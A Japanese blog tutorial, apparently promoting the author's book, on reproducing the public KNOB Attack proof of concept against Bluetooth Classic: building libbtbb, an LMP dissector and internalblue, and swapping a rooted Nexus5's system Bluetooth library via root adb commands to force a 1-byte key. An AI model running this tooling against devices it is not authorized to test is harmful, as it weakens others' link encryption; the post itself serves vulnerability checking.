先日出版した「IoTソフトウェア無線の教科書」でも紹介した、"KNOB Attack"についてPoCを使った脆弱性の確認方法を紹介します。
KNOB Attackとは?
2019年8月に発表された、Bluetooth Classicの脆弱性で、暗号化通信の鍵を1Byteにすることで、暗号化通信の鍵を容易に特定することができる問題です。
詳しくは以下サイトをご確認下さい。
本脆弱性はPoCが公開されており、以下より入手可能です。
必要な機材
- Nexus5 or Nexus6p
- Ubuntu 18.04マシン
Nexus5はAmazonなどで購入可能です。 中古品であれば\5,000くらいで出品されていることもあります。今回はNexus5を使って試しました。
Nexus5のroot化
Nexus5をroot化しておく必要があります。以下の記事を参考にroot化します。
root化したら、インストールしたSuperSUアプリ上でADB shellにroot権限を与えておきます。
KNOB AttackのPoC環境構築
Ubuntu18.04の事前環境構築
KNOB attackのPoC環境を構築する前に、以下をインストールしておきます。
sudo apt-get install git cmake python-pip wireshark wireshark-dev adb
git clone https://github.com/greatscottgadgets/libbtbb.git
cd libbtbb
mkdir build
cd build
cmake ../
make
sudo make install
wiresharkを起動してユーザ権限でキャプチャできない場合は以下を試す。
sudo usermod -G wireshark [home user]
sudo dpkg-reconfigure wireshark-common
sudo chmod +x /usr/bin/dumpcap
LMPを解析するためのWireshark dissectorインストール
まず、KNOB AttackのPoCを入手します。
git clone https://github.com/francozappa/knob.git
Wiresahrkフォルダ配下の lmp_wireshark_dissectorをインストールします。
cd knob/wireshark/lmp_wireshark_dissector
mkdir build
cd build
cmake ../
make
sudo make install
ここで、PoCのサンプルログであるknob/poc-internalblue/sample-nexmaster-galaxys9slave.pcapngをWiresharkで開くと、LMP層を解釈してくれるようになります。
この脆弱性の本質である、LMP:encryption key size reqを確認することができます。ここが1byteになっています。
internalblueのインストール
KNOB Attackを試行する方向をマスター→スレーブなのか、スレーブ→マスターなのかをコード上決め打ちしておく必要があります。
knob/poc-internalblue/internalblue/internalblue/core.pyを編集します。
38行目と39行目に定義があります。どちらかをコメントアウトしておきます。
上記が終わったらインストールしていきます。
sudo pip install pyparsing
sudo pip install markupsafe
sudo apt install binutils-arm-linux-gnueabi
cd knob/poc-internalblue/internalblue
sudo python setup.py install
Nexus5へデバッグ用Bluetoothスタックのバイナリをセットアップ
以下コマンドを実行して、Nexus5のBluetoothスタックをPoC用に置き換えます。
cd knob/poc-internalblue/internalblue/android_bluetooth_stack/nexus5_android6_0_1
adb push bluetooth.default.so /sdcard/bluetooth.default.so
adb shell 'su -c "mount -o remount,rw /system"'
adb shell 'su -c "cp /sdcard/bluetooth.default.so /system/lib/hw/bluetooth.default.so"'
adb shell 'su -c "chmod 644 /system/lib/hw/bluetooth.default.so"'
adb shell 'su -c "chown root:root /system/lib/hw/bluetooth.default.so"'
ここまで準備できたら、Nexus5の設定でHCIスヌープログを有効にします。
KNOB Attackを試行する
Nexus5をUbuntu仮想マシンに接続した状態で、internalblueを実行します。
正常にNexus5を認識したら、以下を実行します。
>monitor lmp start
すると、Wiresharkが起動して、LMP層のパケットキャプチャが開始されます。
うまくいけば以下の様な表示になります。
この状態で、Nexus5またはターゲットデバイスを操作して、ペアリングを試行します。
ペアリングシーケンスの最後の方にNexus5から送っているLMP:encryption_key_size_reqの中のkey_sizeが1byteになっていれば正常にPoCが動作しています。
ペアリングが成功して、かつターゲットデバイスからLMP:detachメッセージが送られてこなかったら、脆弱性が残存している状態です。
特にアップデートをかけていないBTドングルなどは以下の様に動いてしまう。
このPoCはあくまで脆弱性有無の確認用のため、中間者攻撃を行うことができるものではありません。
Bluetoothの仕様、KNOB Attackの紹介は先日出版した「IoTソフトウェア無線の教科書」に掲載しております。 もしご興味があればこちらも宜しくお願い致します。